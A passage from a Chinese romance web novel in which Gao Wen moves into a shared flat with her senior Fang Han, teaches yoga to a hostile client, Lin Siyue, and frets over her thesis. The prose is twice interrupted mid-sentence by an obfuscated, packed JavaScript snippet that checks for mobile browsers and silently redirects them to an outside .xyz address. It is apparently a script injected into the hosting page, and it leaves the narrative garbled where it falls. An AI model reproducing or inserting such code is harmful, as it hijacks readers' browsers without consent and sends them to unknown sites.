那头爽快应下后，高雯才挂电话，她见方寒正在看她，笑着道：“这么多行李，你不会以为我真要免费把你当苦力使吧？” “我很有人性的。” 方寒垂眸笑了笑：“其实还好，我不介意。” 高雯：“很辛苦，我不想。” 货车师傅很快就到了，对方不愧是干这一行的，一次都能搬两个箱子，再提两个袋子，边搬还边道：“你们不用搬，到楼下等我就好了，几趟的事儿。” 高雯和方寒还是帮忙搬了两趟。 最后一趟到楼下时，高雯把一叠资料交给宿管阿姨：“这些是我之前给小朋友补课的资料，已经做好归纳整理，诗诗能用上。” “你免费给她补课已经很好了，你现在事情那么多，还麻烦你费时整理资料。”宿管阿姨道谢。 “没费什么时间，能对她有点帮助就好。”高雯说完，记起一件事，她赶忙将手上的袋子给方寒，“帮我拿一下，我的充电线忘记拿了。” 这可是大事！ “嗯嗯。”方寒伸手接过来，他看着高雯小跑的背影，等她上了楼，视线又落到宿管阿姨手上那一叠被仔细分好，贴上标签的资料上。 宿管阿姨也看向方寒，上下打量观察。 方寒礼貌回以一笑。 宿管阿姨突然笑眯眯开口问：“你是小雯男朋友吧？” 7. 第7章 方寒听到宿管阿姨的话，整个人瞬间红温。 他的脑子里一片空白，听力却变得异常敏锐，楼上传来了关门声，高雯要下楼了。 “我是她朋友，顺道回学校看一看。”方寒故作镇定解释。 宿管阿姨火眼金睛，一瞅他这状态，笑着倒出本质：“你刚毕业对啊，还没把人追到吧？” 方寒：“......” “小雯这姑娘长得好看，热心善良又勤奋上进，好得很。每年七夕和平安夜，送东西的小伙子都排着队，喜欢她的人太多了，一个个长得也很俊。” 宿管阿姨说着，在方寒面露些许苦恼的时候，话锋一转：“不过啊，我看你和她站在一起还怪般配。小伙子，加油啊！” 高雯到一楼的时候，方寒提着东西，放慢脚步往门口走。 她小跑追上来，瞧见方寒上翘的嘴角问：“什么事这么开心？” 方寒没收敛笑意，反而绽开笑颜，看了眼碧蓝无云的天空：“今天的天气很好。” 高雯抬眼看了看，视线回到方寒身上，他走到太阳底下，阳光照射在他的身上，像镀了一层柔和的光。 她笑容明艳点头：“的确。” 师傅已经把行李搬上车，两人坐在后座，一起捎过去还能省一笔路费。 高雯和师傅谈好是出了平台的拉运费用，格外再给师傅一百块搬运费。 结账时，师傅表示，他们帮着搬了两趟，给七十就好了。 高雯应下，付款结账的时候，还是给了一百。 师傅道谢了好几句才离开，对他来说，也算遇到一桩舒心的差事。 对于高雯来说，她的钱也不是大风刮来的，但到底比这些人来得容易一些，不用风吹日晒。她努力上课，日子还算能过。 方寒看着高雯的行为，眼底带着一抹浅浅的笑，上前打开了主卧的门。 “这么干净？”高雯看着干净整洁的主卧，就是她买的快递堆满了一个墙角。 方寒面不改色撒谎：“房况比较好，退房前都会打扫卫生。” “真好。”高雯开始来来回回收拾。 不过，她周末很忙，来不及好好整理，没一会就急匆匆要出门去上课。 “等等，我和你一起去。”方寒说。 高雯：“你也要出门忙吗？” 方寒：“我和同事约了去健身房。” 高雯点头，她想起上一次在健身房遇到他，随口问：“我们上次偶遇的那个健身房？” “嗯，他们约着一起拼团，价格很便宜，我就顺便办了张。”方寒一开始没想办，他不太喜欢这种人多的地方，只是在那里遇到高雯后，改变了想法。 这段时间，方寒去健身房很勤快，一次都没遇到高雯，原来她的课在周末下午。 高雯正赶时间，催促道：“一起走啊。” “好。” ...... 路上匆忙，到了健身房，锻炼区和上课区是分开的，方寒还以为下课能一起回去。 高雯忙着收拾东西，到了门口就冲方寒挥了挥手：“我还要去瑜伽馆上课，晚上才能回去，晚上见，拜拜。” “......好，拜拜。” 方寒望着那道柔细纤瘦的身影，又折回了健身房。 时间还早，他得多锻炼，毕竟刚刚走神了。 * 高雯在课前十分钟才到瑜伽馆。 “下午好。”高雯冲前台笑意盈盈打了声招呼，进来的第一时间，就把自己身上的那套长衫脱下。 前台勉强扯了扯嘴角回应，“下午好。” 伸手不打笑脸人，前台对高雯是有一些意见，但耐不住高雯态度好，干活勤快，下课还主动把垫子收了，打扫卫生，让人挑不出错。 前台看了看高雯一眼，对正在咨询的林思悦建议道：“馆里的老师现在没空上私教体验课，起码得等半个小时，要不你就上雯雯老师的课，有一个空位。” “不过不是私教，是五个人的小班课，可以买一节打折体验课上一下，看看效果。” 一听不是私教课，林思悦拧眉，刚要拒绝，她的视线无意落在不远处正在低头换鞋的瑜伽老师身上，对方穿着一套奶绿色的吊带短款瑜伽服，天鹅颈修长优美，背部浅薄骨感，身材性感。 “那，就上她的课吧。”林思悦被她的身材吸引了，而且对方的侧脸让她觉得有点熟悉，好像在哪见过。 “雯雯老师，”前台提声对高雯道，“张姐堵车来不了了，正好有个会员要上体验课。” “好的。”高雯把鞋放好，笑容亲和对林思悦柔声道，“进来吧，我们要上课了。” “嗯嗯。”林思悦快步走过去，近距离偷偷观察着高雯展露的身材，眼底只剩欣赏。 林思悦今年大三，去了实习单位半个月，不想再去上那个破班，天天在家躺着，父母看不下去，她哥允许她不上班，但要找点事做，改变一下自己。 她脑子一抽，来了瑜伽馆，听说能改变体态，毕竟哪里女孩子不想变美。 林思悦之前没接触过瑜伽，想要找个私教一对一服务。 但这个瑜伽老师的身材外貌吸引到她了。 林思悦进教室，里面已经坐了四个人，她走到最后面的一个瑜伽垫上，有些忐忑观察着。 高雯帮林思悦把两块瑜伽砖放在垫子上，柔声道：“不要紧张，坐下来吧。这节课是肩颈调理，比较简单。”她说完，拿出手机说，“上课之前，我要拍个照片，等下课了给你做对比，可以吗？” “可以，”林思悦没什么意见，她也想看看效果。 高雯给林思悦拍好照片后，回到自己的垫子上，带着大家冥想调息。林思悦听着她动听又徐徐诱导的声音，总忍不住睁开眼，盯着前面素雅白嫩又漂亮的脸，真的感觉很熟悉。 在哪见过呢？ 高雯带着大家热身后，进入体式练习。 “下面我们进入猫式练习，把你的肚子吸到最薄——” “呼——” 高雯察觉到了林思悦的走神，走下来帮她纠正了几次姿势。 她再一次走近的时候，林思悦看着那张脸，一下就想起来。 是她！ 缠着她哥的那个公司实习生！ 高雯以前每天都会化精致的浓妆，看着多了一丝妖艳，如今大多数时候是简单妆容或者素面朝天，整个人多了几分娇俏清纯。 林思悦没记错的话，这个实习生学的是什么小语种语言吧？现在什么阿猫阿狗都能来当瑜伽老师了？她对高雯刚刚的那点好印象悉数消散，带上了不满。 真是倒霉，她居然还花钱来上她的课！ “大家把伸展带套在手肘上，将你的瑜伽砖调至第二个高度——”高雯说着，手动帮林思悦带上，帮她摆放好瑜伽砖，直接站在她身边，拿她做示范。 其余四人视线集中在林思悦身上。 林思悦见此，不好意思闹腾，将反驳的话咽下去，任由高雯摆弄，接下来，她度过了最难熬的半个小时。 “疼疼疼——”林思悦趴着身子，疼得龇牙咧嘴，忍不住骂道，“你会不会啊？我受伤怎么办？疼死了——” “不要说话，”高雯提醒道，“跟着我的力气往下，不要做对抗，想象你的腋窝去找地板，再往下多一点。” 林思悦的肩膀被人往下压，她冷汗狂冒，五官都要扭在一起，声音颤抖起来：“你干什么啊？！” 公报私仇吗？ 她当时就看出来这女人是个坏东西！她要告诉她哥，开除她，让她在公司滚蛋！ “我保证你不会受伤，”高雯声线稍稍提高，话语笃定，“吸气，让你的下巴点地，十指相扣。” 高雯的气场太强，不知道为什么让人难以反驳，林思悦已经满头大汗，咬着牙委屈跟着照做，又被人往下压了压：“疼疼疼——” “你做到了，非常厉害，”高雯伸出食指，把林思悦垂落遮挡眼睛的发丝轻轻往后整理，声线清缓，“你应该是第一次上课，但你的先天条件很好，比较好塑形。” 林思悦满腔愤怒正要起身骂高雯，倏然被她撩拨的动作打断，脑子卡壳了，谁让她碰她了？想要勾引她哥的狐狸精女人，她见多了！ 下一秒，高雯夸了林思悦，她摆动的身体都瞬间停止。 这女人说话讨好她吧？真是有心机！哼！ “你第一次就做得这么标准好看了，真的好厉害啊。”张妮看着林思悦，话语里都是羡慕。 林思悦的眼神闪了闪，在疼得嘴角抽搐时，有些小傲娇。 真，真的？ 接下来的体式，高雯都用林思悦做示范，林思悦一边不太相信高雯，一边又在她一声声鼓励和夸赞中沦陷。 她也想看看，自己有多么天赋异禀，如果能给她拍照记录最好了。 一节课下来，林思悦感觉身上没有哪里是不痛的。 下课后，高雯给林思悦拍了对比图，唇角含笑问林思悦：“感觉怎么样？” 林思悦想起高雯在课上的面无表情和冷血残忍，自己居然被她虐了一节课，越想越气，她擦了擦汗水起身，“疼死了，你太过分了！” 高雯刚要把对比效果图给林思悦看，她就往门口走， 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等到了林家，姜舒妍和林思悦提前下车，等林珩把车开着去车库，林思悦才走到姜舒妍身边，气愤道：“舒妍姐，我跟你说，今天那个瑜伽老师居然是我哥公司的实习生，上一次去公司，我还撞见她勾引我哥！” 姜舒妍变了脸色。 “她这种人都能去瑜伽馆当老师，我的天啊，她懂什么啊？害人怎么办？我都怀疑她故意针对我！”林思悦想起高雯不对她手下留情就生气，随后又道，“不过，我哥很有原则的，绝对不会搭理这种人，舒妍姐你就放心吧。” 姜舒妍收敛神色，叹了一口气安慰林思悦，“应该不会吧？不过这一行老师质量堪忧，下一次要去就换个瑜伽馆，避开她就行了。” 一个实习生而已，姜舒妍不记得书中这号人物掀起过什么风浪。 小打小闹罢了，影响不了故事线。 林思悦点头：“当然，我怎么可能还去上她的课！躲还来不及！” * 因为林思悦，高雯在下课后被馆长叫去谈话了，对方说是她态度可能不好，对会员服务不到位，影响馆的形象。 高雯无奈，也没反驳，心情毫无波澜。 她有她的教学方式，不必讨所有人的喜欢，她自己问心无愧就好。 高雯收拾东西下班，顺路回了方寒的短信。 他说他刚锻炼结束，约她一起回去。 高雯爽快答应：【好啊。】 两人相约在商场门口见。 高雯看到不远处有人摆摊，她对方寒说：“去那走走吧，看看在卖些什么。“” 晚上的摊位很多，很是热闹。 高雯心情颇好，还给自己买了一串水果糖葫芦，她问方寒：“学长，你吃吗？我请你。” “不，我不喜欢甜食。”方寒摇头婉拒。 “那只能我自己享受了。”高雯扫了十块钱，选了三串。 她率先拿起一串草莓糖葫芦，一口咬下去，酸得有些眯眼，肩膀跟着抖了抖。不过甜食能让人心情愉悦，她一口接着一口，娇俏的脸上皆是笑意。 方寒望着她，挑着眉眼慢悠悠笑了起来，不自觉放慢了脚步，跟在她身边。 “真好吃！”高雯评价，十分满足。 “小姑娘，买鲜花吗？”摆摊卖鲜花的大妈热情推销，“很便宜的，玫瑰四块钱一朵，三朵十块钱。” 高雯停下脚步，她有买鲜花的习惯，鲜花能够让人心情变好。 她蹲下来，细心在桶中选了六朵玫瑰，一朵向日葵，还有一些配花。大妈让高雯选包装纸和彩绳，还送了不少满天星。 “一共三十块。”大妈把收款码伸到方寒面前。 方寒刚要扫码，高雯就挡住他的手机，“我自己来。” “没关系。”方寒笑。 “我来。”高雯坚持，下一秒，她悲催发现，自己的手机没电了，“......” 鲜花已经修剪包好了，付不了账也得买。所以最后还是方寒付款。 高雯捧着鲜花，心里变得奇奇怪怪。 怎么变成方寒给她买花了？ 怀着这种奇怪的心情回到出租屋，方寒正在开门，高雯低头看着拿着的花。 门刚打开，一个染着红头发，穿着铆钉牛仔衣，打扮新潮的女人正好从里面出来，她看到方寒和高雯以及那束鲜花，吹了口哨调侃，“哟，这是带女朋友回来了？” 8. 第8章 这位女室友一出口，把方寒吓得不轻，他心都提到了嗓子眼，耳根瞬间发红，还得稳住声线解释：“她是我学妹，新搬来的室友。” “原来是新室友啊，欢迎欢迎，我叫许菲，住那屋。”许菲笑着看向高雯介绍，伸出手指了指客厅隔起来的那间屋子。 她的房间采光最好，因为整个阳台都是她的。 “我叫高雯。” “名字和人一样好听漂亮，小美人一个。我得去加班了，下回见。” 许菲说着匆忙接起电话，拿着她的电脑往电梯口跑，顾不得多调侃高雯和方寒两句。 方寒和高雯进了屋。 他的手心溢出一层薄汗，刚刚的紧张还未消散，望着高雯，他想解释两句，又怕说错话，造成更深的误会。 “唉——”高雯来到主卧，看着里面堆满的行李和快递，她的脸上布满了些许发愁，“这得收拾到什么时候啊？” 她说着，耸拉着眼皮，回头看向方寒。 “你累了一天，今晚就把需要的整理了，就先休息。”方寒的嗓音清缓温润，笑着安抚她，“不着急，慢慢来。” “看着怪难受。”高雯把包放在一边，进屋动手收拾。 方寒没回自己房间，想帮帮忙。他十分有分寸，并没有进入她的房间，只是把她买的那个大桌子和收纳架拿出来，在客厅组装。 高雯进进出出，她看着摆放得满客厅的板块和一大盒螺丝，知道自己是没有时间和精力折腾的，她话语感激对方寒道：“学长，改天我请你吃饭。” 总不能让人白帮忙。 方寒正在看着说明书分类，他的眉梢带了点笑意，抬眸道：“倒也不用那么客气。” “吃饱才有力气干活！” 方寒低低轻笑出声，等他抬眸时，高雯已经回到了房间，像只勤快的小蜜蜂，正在一点点装扮她的新巢。 高雯把东西陆陆续续收拾出来，方寒则每隔一会，就会把一个新组装好的收纳架送进她的屋内。 他是个心细体贴的人，还会用抹布试擦一遍。 高雯那些零散的物件有了新的去处，方才拥挤得下不去脚的房间，逐渐变得井然有序，剩下的小分类，就等入住后再慢慢整理。 收拾好大半后，高雯心情颇好。 她走出房间，方寒已经将最后的大桌子组装好一半，有了初步雏形。 高雯走过去，她拿起地上的螺丝刀，想将螺丝旋紧。 “等一会，得全部组装完后检查没问题，才能旋紧，不然难拆。”方寒出声说。 “好。”高雯放下螺丝刀，看向他问，“我需要做些什么？” 方寒左顾右盼，绞尽脑汁在想，“等一会。” “嗯嗯。” 高雯刚说完话，门口又传来开门声。 一位长相憨厚的大哥走进来，他看着在客厅的两人，方寒率先介绍：“我学妹，新来的室友。” 高雯笑着做了自我介绍。 大哥点了点头，算是打招呼了，之后就回了房，没再出来。 方寒嗓音温和低缓说道：“何大哥话不多，我也没和他说过几句话，他经常出差，在家也很少出来，徐菲晚上加班，白天基本都在补觉，她的话多了些，不过好相处。” “厨房是公用的，不过他们都没用过，冰箱是我新买的，你可以用。” 这两人，高雯前一世没怎么在意，很多事情都是方寒处理的。 她毕竟是要在这里生活，听得仔细认真。 方寒说话时，下意识会看向高雯，瞧见她清透明亮的乌眸，心下悸动，他快速收回视线，“小阳台的洗衣机是公用的，我没用过，我在自己房间的浴室买了一个小型的自用，你也可以买一个放在自己的洗手间，会方便很多。” 这是一套大三居改造出租，一共有三个洗手间，高雯住的主卧一个，方寒住的次卧一个，还有一个是公用。 “好，我一会就下单买一台。” “厨房的烤箱是房东新配置，还没人用过，你可以用。” “嗯嗯。” “饮水机是我买的，你可以直接接水喝。” ...... 高雯听着方寒说话，不知不觉，他都把桌子组装好了。 她要拿螺丝刀把螺丝固定悬紧，方寒先一步拿了螺丝刀：“我来吧，你可能不太熟练。” 高雯不服气：“我在学校经常组装柜子桌子的好不好？” 她什么都是自己干，在学校就买了各种各样的柜子和桌子摆放她的东西。 “我的力气大一点，”方寒三两下就旋紧了一个螺丝，又移到下一个，他终于想到她能做的事情，笑着建议道，“拿块布擦一擦吧，马上装好了。” “好的。”高雯拿着布去了洗手间，洗了拧干水拿出来。 她还等着两人一起把桌子抬回去，没想到方寒一个人就可以。 高雯没搬进来之前，方寒进了过她的房间好几次，她搬来了，他倒是不好意思了。 他进去后，眼神都不敢乱瞟，“这里可以吗？” “往左一点。” “这样？” “可以的，谢谢。” ...... 高雯把物件快速往桌子上摆放，抽屉也可以装很多东西。 这么一收拾，房间又整洁不少。 等高雯出来时，客厅里不见方寒的身影，散落在地上的纸箱和泡沫，还有她收拾出来的垃圾，已经被收拾得干干净净。 高雯不得不感慨。 方寒是个能过日子的人。 没等高雯多思考，方寒就回来了，见她站在客厅，他走过来问，“要不要吃点晚餐？我煮个面一起吃点？” 现在都九点半了，过了吃晚饭的时间。 要是做其他菜很费时间，煮面最方便最快。 “不，”高雯摇头，“我刚刚吃了三串糖葫芦，热量已经超标。而且我晚上一般只吃减脂餐。” 她今天心情好，加上中午没吃什么，下午运动量又大，所以允许自己小小放纵一下。 不然每天的摄入量都是固定的。 高雯不仅早睡早起，吃的食谱严格，她现在每天还会抽出大量的时间自我训练。拉扯筋骨的过程并不好受，打磨自己的过程很痛苦，第二天还要忍着疼，靠意志力强撑着去上课。 但是为了美，高雯觉得一切都值得。 “学长，我去洗澡睡觉啦。”高雯摆摆手，进入她的房间关门时，她探出头，笑得真心实意，声线清脆绵软道，“谢谢你。” 她的确很感激方寒，不只是今天。 “.....不客气。”方寒抬手，慢了半拍说。 “晚安。” 方寒看着高雯关上的门，过了好一会才回神，沉思了下：“减脂餐？” 他拿出手机，走进厨房。 高雯洗了个舒服的热水澡，磨磨蹭蹭了好久。她终于不用担心寝室到点会断电，赶着上床拉上窗帘，因为不敢上洗手间水都不敢多喝。 她有一个更舒适的新家，哪怕是租来的房子，身体也暂时有了归属。 洗澡好后，高雯给自己仔仔细细擦了一层厚厚的身体乳，换上纯棉睡衣，走到化妆桌前，她正准备护肤，感觉有些口渴，拿着杯子就走了出去。 高雯听到厨房有动静，拿着杯子先走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543571|186665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了过去。 “学长，煮面需要这么久——” 高雯没想到一出声，把方寒吓了一大跳，他的身子都有些僵硬，她没忍住笑了，“你这是怕我啊？” “不是。”方寒否认，他纯粹是太入神了。 “你做了什么？”高雯闻到了香味，好奇走过去想看看。 方寒有些紧张，但也提前语气坦然道：“减脂餐。” “减脂餐？”高雯看着锅里的东西，一时怔愣。 方寒做的减脂餐，不是土豆泥生菜沙拉，鸡胸肉玉米西兰花，更不是水煮菜。 而是一道汤娃娃菜火腿豆腐鸡蛋汤，闻着就很香。 “冰箱里只有这个，你要不要一起吃点？”方寒说着，已经从柜子里拿出碗筷，“这个热量很低，我没放几滴油。” 高雯本来只想喝水，突然有些饿了，她犹豫再犹豫：“我试试你的手艺？我就尝一点点，一点点就好。” “好，你吃一点点就行。”方寒唇角漾开一抹笑意，给她盛了小半碗。 “嗯！” 两人坐在餐桌上，方寒还烫了点面条，他给高雯夹了点。 “好了好了，这个真不能多吃，不然我晚上睡觉会良心不安的。”高雯说得认真，表情已经很内疚。 方寒：“吃不完也没关系。” 他刚刚先把火腿和鸡蛋都是用少油煎至金黄，然后加入开水，加入豆腐和娃娃菜还有一点海鲜菇，就放了点生抽和盐调味。 高雯喝了口奶白奶白的汤，直接被鲜掉眉毛，冲方寒连连竖起大拇指：“太好喝了吧，”她的表情一点都不作假，埋头又喝了两口。 方寒心里松了一口气。 虽然他没做过减脂餐，但好像不太难。至于那些非常简单的水煮菜减脂餐，他看着就感觉不好吃，她应该也会觉得难以下咽。 高雯吃得一点都不剩，她拿着碗筷站起身：“我可不能吃白食，洗碗和锅就交给我吧。” “你都洗澡了，我来就好，这事我擅长。”方寒跟着起身，长腿一迈，拿过高雯手里的碗筷，就进了厨房。 高雯看着方寒利落把碗筷和刀具砧板放在洗碗池内，都挤上了洗碗液，她忍不住问：“你在家常干这个吗？” 她没和方寒聊过他的家庭。 对于这个话题从来都很避讳。 “我从小洗碗，”方寒回头笑了笑，“我爸做饭我洗碗。” “你妈呢？”高雯把话问出口，似乎觉得很冒犯，拼命想话补救，方寒笑意不减，“我妈负责指挥再瞎安排。” 高雯笑了，是她多虑。 方寒的家庭或许不是很富裕，但他肯定出生在比较幸福美满的家庭，氛围有爱和谐。 * 次日下午。 高雯去梵盈瑜伽馆上课时，又遇到林思悦。 她还能来，是前台都没想到的。 “我要上私教课，给我找个好老师，一定不能是她。”林思悦看向高雯，说话间，挺了挺下巴，下一秒因为肩膀痛，又瞬间皱了脸，气势全无。 真是疼死她了！ 都怪这个女人故意针对她！ 林思悦一直都有含胸驼背的毛病，为此有点自卑，要不是林母今天说她后背直了很多，整个人都笔挺不少，她才不愿意来。 等换了新老师，她非得找到高雯的毛病。 到时候，这事没完，她饶不了她！ 高雯非但没生气，还觉得有些搞笑，她唇边笑意不减，和前台打了声招呼后，慢条斯理地脱鞋换衣服准备上课。 林思悦一看险些气成圆鼓鼓的海豚。 这个坏女人好不要脸好过分啊！！！ 9. 第9章 今天的小课上的是练腿，张妮是第一个约，也是第一个来的。 她早早就来教室里等着了，课后舍不得走。 她此时正忍着疼，趴在地上，手撑着地面，双腿放在泡沫轴上，轻轻滚动，抬头看向高雯：“我感觉我现在走路，脚内沿有些发力了，但还不稳定，总是容易飘。” “很正常，毕竟之前是二十几年的习惯，多练习，巩固之后会形成新的习惯，腿型和走姿自然而然就会变好看。”高雯把道具收拾好，笑着接话。 张妮用力点头：“嗯嗯。”她接着笑道，“别人说这话我不信，但你说我相信！我一定要坚持再坚持！为了变美！” “你不知道，我每次来瑜伽馆见到你，再疼再累我都有动力。” 下一秒，张妮就笑不出来，高雯拿着泡沫轴，手上用力帮她揉，同时出言道：“要用点力才有效果，你不要对自己那么好。” “唔——嘶——”张妮疼得一下趴在地上，拳头都捏紧了，心里直喊疼，嘴上连忙说话企图转移高雯的注意力，“外面一楼好像有家瑜伽馆在装修，你知道吗？” “没注意。”高雯说话比上课缓和许多，但手上力度不减。 实际上，这一片的健身房和瑜伽馆她都会关注，离得近，也好兼职。 高雯心思重多虑，为人也谨慎，极少相信别人，饶是张妮看着单纯，没什么心眼，她也不会暴露半点自己的情况和打算。 张妮指甲都要掐进手心，汗水都硬生生被疼出来，她缓了一会才断断续续道：“我看那里在招瑜伽老师，要不你去看看？” 她知道高雯在兼职，所以帮她留意。 “再说吧。快点侧躺上来，现在吃苦，明天轻松。”高雯笑，让张妮换个姿势，帮她滚动揉腿的侧边松解。 这回张妮是彻底疼得说不出话，高雯收起泡沫轴的时候，她趴在地上直喘气，躺着像条死鱼。 “喝点水，”高雯贴心倒了杯茶水放在张妮身旁，拿着手机起身，“我去隔壁上下一节课了。” “....拜、拜。”张妮强撑着，还得缓上好一会。 高雯走到隔壁的时候，正好碰到从里面出来的林思悦。 她浅浅一笑，带着恰到好处的客气礼貌。 林思悦瞅了高雯几眼，倒是没有阴阳怪气说话，脸色还变了再变，但是那股傲娇不减。 前台一脸热情走过来，将倒好的茶水递给林思悦：“先喝点水缓一缓，来这边休息一下。” 林思悦跟着前台往休息区走，高雯则进去准备教具等会员。 体验课结束，接下来就是推销课程的过程了。 前台拿着课程和价格表，率先问林思悦：“体验感怎么样？咪咪是不是老师很温柔，是我们的金牌老师，好多会员都喜欢她。” 林思悦双手捧着茶慢慢喝，余光瞥了眼刚刚的教室。 会员来齐了，高雯探出半个身子，柔声和会员说话，含着笑伸手关门。 林思悦心里很不得劲儿。 这个咪咪老师的确很温柔，一口一个亲爱的，上课的时候，就用两根手指帮她调一调姿势，然后就开始倒数，让她保持，林思悦感觉自己在摆姿势。 完全没有高雯上课的那种感觉。 高雯上课丝毫不介意用力道辅助，半点都没摸鱼，虽然感觉很疼，但的确有那种练到的成就感。 而且，大半节课里，这个咪咪还要有意无意打探她的工作和家境，给她身体做了一个评估，说她身体哪哪都是毛病，说是体验，实际上就是恐吓制造焦虑，忽悠她卖课。 林思悦感觉，这节课比高雯给她上还要难熬，感觉就是在浪费时间，明显感觉这个人在磨时间。 一点用都没有！不真诚！ “咪咪老师的私教课最近刚好在做活动——” “那个雯雯的私教呢？”林思悦打断前台的话，刚说完又后悔了，她怎么还想去上这个女人的课？！ 她肯定是疯了！ “雯雯老师吗？”前台一怔，随即道，“她是兼职老师，没有私教课。” 私教课比其他课赚钱，会员就那么多，当然不会给兼职老师。对外，他们就宣称兼职老师不够好，要对会员负责，不能随便安排。 林思悦一听，居然没有私教课？她想上都上不了？ “兼职老师上课没有专职老师好，咪咪老师上课很多年了，体验课你也上了，是不是感觉她很温柔？” 前台还在绞尽脑汁推销，林思悦越听越没劲，她又问：“那这个雯雯上的是什么课？” “只有大班课和小课。”前台见林思悦好像没有报私教的意思，热情消散不少。 “我要上她的小班课，明天什么时候可以来上课？”林思悦又问。 她倒要看看，到底哪里不一样，还是自己的错觉，居然会觉得这个女人上课比其他人好。 前台查了一下，也有些诧异：“雯雯老师这个星期的课都被约满了，暂时没空位。” “什么？你们不会再多排课吗？”林思悦拧眉。 居然还上不了，她内心又憋了一口气，她不想上的课，不喜欢的人，怎么会那么受欢迎？ “每个老师都有自己的安排，这个星期的课是馆长提前排好的。”前台说。 林思悦最后报了十节的小班课，前台才重新热络起来，把她拉进群，跟她保证高雯的课要是有会员取消约课，就帮她约上。 林思悦交了钱，走出瑜伽馆的时候，看着付款记录，又是一阵郁闷。 她真是有病，居然交钱排队等着上对方的课。 不过，林思悦很快又安慰自己，这些小课是通用的，她可不是为了上高雯的课，约不上就不约了，她去上别的老师课程不就行了？ 电梯来了。 林思悦走进电梯，张妮也小跑进来。 电梯门刚关上，张妮的手机就响起，她接起电话，嗓音甜腻：“老公~~~~” 林思悦往旁边看了看，她记得这人，上课的时候，她和高雯互动最多，两人关系一看就很好。 哼！和高雯关系好的人，她就不喜欢！ 张妮说话声还在传来：“早就下课了，老师帮我滚下了大腿松松肌肉，免费享受了一下私教待遇，可疼了。我跟你说，这个老师很专业人又好，我都察觉到自己的变化了，你别不信，我不许你质疑我，我不高兴！” “你就等着我的蜕变吧！我天天都要来锻炼！谁要是阻止我，就是我的敌人！” 电话那头轻笑，话语带着宠溺顺从：“好好好。” 电梯门打开，张妮率先出去，林思悦看着她离开。 要不，她等等？再考察一下这个高雯！ 张妮并没有回家，而是去了附近一楼的超市。 这里离他们家也近，她要给女儿买辅食材料。 张妮刚到超市，就看到了推着装满购物车的方寒，她热情开心打招呼：“方工？” 她对自家老公的这个学弟印象极好，年纪轻轻就进入大厂，为人谦和有礼，前途无限。 方寒抿唇含笑：“嫂子。” “你不是从家里搬出来一个人住了吗？怎么买了这么多东西？” “......” * 晚上。 高雯回家前，在小区楼下水果店买了水果。 方寒帮她付了买花的钱，她怕他不收，就把钱转到他支付宝了，昨天晚上他还忙活一阵，还请她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543572|186665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃减脂餐。 她肯定会请方寒吃饭，但得是周末，孩子一放假，瑜伽馆人都会少一点，课就少，就先买点水果给他吧。 高雯回来的时候，客厅关着灯，静悄悄。 合租就是这样，要不是认识的人，很可能几个月都见不到一次。 高雯走到次卧，伸手敲了敲门：“学长？” “咔嚓——” 门被打开，方寒穿着睡衣，漆黑深邃的眸子带着温和看向她，见到她还挺开心，嘴角抑制不住上扬：“下班了？” “嗯。”高雯点头。 方寒：“吃饭了吗？” “吃了麦片和面包。”高雯接话，说着把袋子提起来，“昨晚辛苦了，我给你买了点樱桃，已经洗好的，趁着新鲜多吃点。” 她的口味很挑，又因为是买来送人，专门买了最贵的进口樱桃，会更清脆爽口一点。 方寒看着她手上的樱桃，无奈道：“别那么客气。” “应该的。”高雯把樱桃给他，转身往自己房间走，打了个哈欠，“我要洗漱睡觉了，晚安。” 她每天都很忙，幸好都抽空自我训练，回来就能洗澡护肤睡觉了。 “晚安。”方寒在她身后温柔说。 他没吃樱桃，而是提着走到冰箱厨房，打开放在了冰箱里。 以往空旷的冰箱，此时已经被填得满满当当。 方寒专门腾出一个位置，小心翼翼把樱桃放进去，他嘴角微微上扬，眼底多了一丝愉悦。 洗漱护肤好的高雯，刚准备入睡，就发现寝室群里消息99+，她看了一眼，困意直接被驱散。 室友们都在聊论文的话题。 放假时，导师就已经交代要准备论文的选题，大家要在开学前确定选题，然后提交开题答辩的初稿。 高雯一下坐起，她太忙，把这事给忘了。 看着室友都开始确定初步的选题，她还没开始。 真是糟糕。 高雯挠了挠头，哪还有什么困意，直接从床上爬起来，打开电脑找资料。 凌晨十二点。 高雯不知道自己打了第几个哈欠，她的眼皮像被灌了铅，不断往下坠，声线有气无力：“救命啊——” 真的救命 谁救救她。 高雯不像方寒，被高分录取，她完全是擦线过A大，还被调剂来了这个不喜欢的专业，这几年硬着头皮保持中等，已经很不容易。 论文是真把她难住了，前路漫漫又艰辛，文献宛如天书看不完。 没有人能救她。 高雯强撑着身躯，甩了甩头，刚想用手拍打自己的脸，以此清醒，手伸到半道忍住了。 手很脏有很多细菌，她擦了护肤品，不行不行。 高雯起身抱着电脑，拿上水杯，开门往外走。 她伸手打开灯，客厅的灯更为亮眼，让她精神又好了点。 高雯接了水，在客厅里来回踱步，她喝了一口水，觉得没味，喝不下去。 她昂头再一次叹气，而后强迫自己坐在椅子上，面对电脑里的天书。 方寒也没睡，他在床上辗转难眠，脑海里都是高雯的身影。 听到她开门的声音，却迟迟没有关门回房。 他想了想，拿着水杯，开门走出去。 方寒一出来，就看到高雯坐在餐桌边，她听闻动静，抬头看了他一眼。 她眼神失焦疲倦，没说话又慢吞吞扭回头，额头重新磕在电脑上，身子耸拉下来，整个人都在向地心引力投降。 